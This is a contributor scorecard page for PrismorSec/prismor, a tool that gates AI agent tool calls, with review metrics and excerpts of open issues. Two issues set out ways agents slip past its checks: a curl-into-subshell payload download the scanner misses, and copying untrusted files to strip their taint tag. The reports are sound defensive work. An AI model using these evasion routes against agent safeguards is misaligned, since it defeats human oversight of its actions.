PrismorSec/prismor - Open Source PR Review Scorecard

Self-hosted runtime control plane for AI agents. Observe or HITL approve or Block rogue tool calls before it executes: secret leaks, prompt injection, supply chain etc in a local dashboard. Agent agnostic (Claude, codex, langchain etc.)

C-Rank Grade: S (Elite) - 72/100

External PR Merge Rate: 77%

Response Time: 2d

First Timer Success: 83%

Frequently Asked Questions

Is PrismorSec/prismor welcoming to first-time open-source contributors?

PrismorSec/prismor has a recorded first-timer success rate of 83.3%. Repositories ranked S typically provide actionable feedback during code reviews and actively nurture new community contributors.

How fast can I expect code review feedback on my pull request?

Maintainers in PrismorSec/prismor respond to incoming external pull requests in approximately 47.1 hours on average. Keeping PRs focused on single tasks and ensuring tests pass helps maintainers review faster.

What does the 72.0 C-Rank™ score (S Tier) represent?

The C-Rank™ system evaluates GitHub projects on a 0–100 scale using real data: PR merge rates, review turnaround time, active maintainer presence, and first-time contributor success. A score of 72.0 places PrismorSec/prismor in the S tier.

What is the external contributor pull request merge rate for PrismorSec/prismor?

The external contributor pull request merge rate for PrismorSec/prismor is 77.0%, based on public PR activity from non-core contributors.

Are there Good First Issues available in PrismorSec/prismor?

PrismorSec/prismor currently has 26 active issue(s) tagged with beginner-friendly labels like "good first issue", "beginner", or "up-for-grabs".

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PrismorSec/prismor

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InactiveS•Elite(72/100)Python

Self-hosted runtime control plane for AI agents. Observe or HITL approve or Block rogue tool calls before it executes: secret leaks, prompt injection, supply chain etc in a local dashboard. Agent agnostic (Claude, codex, langchain etc.)

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AI Maintainer Review Guidelines

Review Persona

Strict Architecture Gatekeeper

Warmth Score
7.6/10
Patience Score
8.0/10
Nitpick Rate
45%

Strict review standards in PrismorSec/prismor. Ensure PR scope matches issue requirements closely before requesting review.

Top PR Submission Do's

  • •Ensure code complies with the project coding style
  • •Keep PRs scoped to a single concern
  • •Include context and link to the related issue

Top PR Friction Pitfalls (Don'ts)

  • •Do not submit PRs without linking an issue
  • •Do not break existing tests without fixing them
  • •Do not mix unrelated refactors in a single PR
Response Velocity
1 days+
Standard maintainer review cycle

Average Response Latency

Tracks hours until a maintainer leaves a review, comment, or PR response.

Merge Efficiency
77.0%
High acceptance rate for external PRs

External Acceptance Rate

Percentage of community pull requests successfully merged into main.

First-Timer Success
83.3%
Strong first-timer PR acceptance rate

First PR Conversion

Rate at which developers submitting their first repository PR succeed.

Active Maintainers
12 core
Highly collaborative maintainer core
Diagnostic Health HUD
77.0%
Merge Gauge
83.3%
1st-Timer
Community Vibe56/100

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Active Good First Issues (5)

View on GitHub

Why this makes sense It's pure waste. The signed policy file changes only when a new policy is pulled, yet we verify and parse the same bytes about 9 times per tool call. Caching the verified result by file identity keeps the security property (we still only ever use content whose signature verified) and removes about 215ms per call on enrolled machines. Enrolled machines are our paying customers. The slowest path today is exactly the org-managed one. It's small, isolated and easy to test: one module, one memo, explicit invalidation where the policy is refreshed. Good for a first contribution, with a measurable before/after. Summary remote_policy.verify_and_load() does an Ed25519 signature check plus a YAML parse of the cached org policy every time it's called, and a single hook call calls it about 9 times (via PolicyEngine._load, workspace_scope._org_settings → org_managed_patterns / org_allows_personal / is_managed / resolve_scope, and others). Profile of one hook call on an enro

📅 Opened Sep 24, 2026💬 1 comment
Quality: 50/100Contribute

Would be great to have a new demo for prismor readme based on new features shipped, here's what I'm thinking Onboarding to Prismor, select modes use prismor to cloak to secret (model never knows) make a custom policy for prismor and see it block (can be egress or local commands etc.) Try installing a supply chain package with critical CVE so prismor blocks Try the new prismor proxy to govern any production agent (not coding) Best videos will be featured across our socials ~100k impressions

📅 Opened Sep 20, 2026💬 2 comments
Quality: 100/100Contribute

Summary The provenance scanner (prismor.runtime.provenance) uses flat shlex tokenization rather than parsing shell ASTs or command substitutions. When a command downloads payloads into variables via subshells or process substitutions (e.g. VAR=$(curl https://example.invalid/payload); printf "%s" "$VAR" > output.sh), fetch_targets() fails to identify the download. Consequently, files written to disk via subshell captures are not tagged with UNTRUSTED (untrusted_content), allowing uninspected remote payloads to be treated as clean local files downstream. Steps to Reproduce Pre-check evaluation returns PASS: prismor check 'VAR=$(curl https://example.invalid/payload); printf "%s" "$VAR"' # Returns: PASS Provenance fetch_targets drops the download: from prismor.runtime.provenance import fetch_targets # Direct download -> correctly tracked: print(fetch_targets("curl https://example.invalid/payload > exploit.sh")) # Output: {'.../exploit.sh'} # Subshell download -> completely missed: p

📅 Opened Sep 20, 2026💬 0 comments
Quality: 60/100Contribute

Summary In the cross-agent flow tracking introduced in #379, an artifact is meant to inherit UNTRUSTED (untrusted_content) whenever an agent writes untrusted content. However, when an agent copies or moves an untrusted file using standard shell commands (cp, mv, install), the destination file loses its UNTRUSTED tag. This creates an unintentional taint-laundering path: an agent can copy an untrusted artifact, and any subsequent agent reading the copied file is treated as clean, bypassing cross-agent flow controls and Lethal Trifecta rules. Root Cause In prismor/runtime/provenance.py:317-319, cp and mv are parsed as reads of the source and writes to the destination: elif cmd in _COPY_CMDS and len(positional) >= 2: out["reads"] |= {resolve(a, cwd) for a in positional[:-1]} seg_writes.add(resolve(positional[-1], cwd)) In prismor/runtime/policy_engine.py:2164-2169, the engine verifies whether the write actually carries untrusted content before recording: if UNTRUSTED in _carry

📅 Opened Sep 19, 2026💬 0 comments
Quality: 50/100Contribute

docs/deploy-docker/session.png shows the session view as it was before the Sessions redesign. Compared against the live dashboard: Screenshot Current (prismor/runtime/dashboard.html:2235) Session flow — click any node for details Session — click any row for details node graph (START → boxes → NOW) collapsible row tree (.tree-row, turn/lane rows) no toolbar Expand all / Collapse all The surrounding shell is still accurate (sidebar, Local Prismor, Fleet, Policy Control, MCP Playground), as is docs/deploy-docker/dashboard.png — every label in the Overview screenshot is still in the markup. It is only the session detail capture that is stale. The screenshot is dated Sep 10; dashboard.html was last changed Sep 11. Blocked on #412 — the session view cannot currently be loaded to recapture.

📅 Opened Sep 15, 2026💬 1 comment
Quality: 60/100Contribute
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Contributor Compatibility & Review Speed Analysis for PrismorSec/prismor

When evaluating whether to contribute to PrismorSec/prismor, response velocity and maintainer engagement are crucial. GetMerged continuously tracks pull request trajectories, first-comment latency, and code review rounds to help developers avoid submitting pull requests to backlogged repositories.

Currently, maintainers of PrismorSec/prismor acknowledge new external contributions in approximately 1 days+. Out of all submitted pull requests from non-core authors in the last 180-day window, 77.0% were successfully merged into the primary branch.

Frequently Asked Questions - Contributing to PrismorSec/prismor

01

Is PrismorSec/prismor welcoming to first-time open-source contributors?

PrismorSec/prismor has a recorded first-timer success rate of 83.3%. Repositories ranked Elite typically provide actionable feedback during code reviews and actively nurture new community contributors.

02

How fast can I expect code review feedback on my pull request?

The initial maintainer response time averages ~1 days+. Keeping PRs scoped to single concerns and ensuring CI checks succeed will optimize review turnaround.

03

What does the 72.0 C-Rank™ score represent?

The C-Rank™ index scores repositories on a 0 to 100 scale using an objective formula: external PR merge rates, initial response speed, active maintainer count, and first-time contributor retention. A score of 72.0 places PrismorSec/prismor in the Elite tier.

04

What is the external contributor pull request merge rate for PrismorSec/prismor?

The external pull request merge rate is 77.0%. GetMerged isolates non-core community contributions so external developers get an accurate benchmark of PR acceptance probability.

05

Are there beginner Good First Issues open in PrismorSec/prismor?

Yes, PrismorSec/prismor currently has 26 active issue(s) tagged with beginner-friendly labels. You can inspect these directly from the repository issues tab.

GetMerged C-Rank™ Indexing Standard

All metrics displayed for PrismorSec/prismor are automatically retrieved via the public GitHub API and recalculated daily. Insider pull requests submitted by repository owners or organization members are excluded from merge rate calculations to preserve objective external contributor statistics.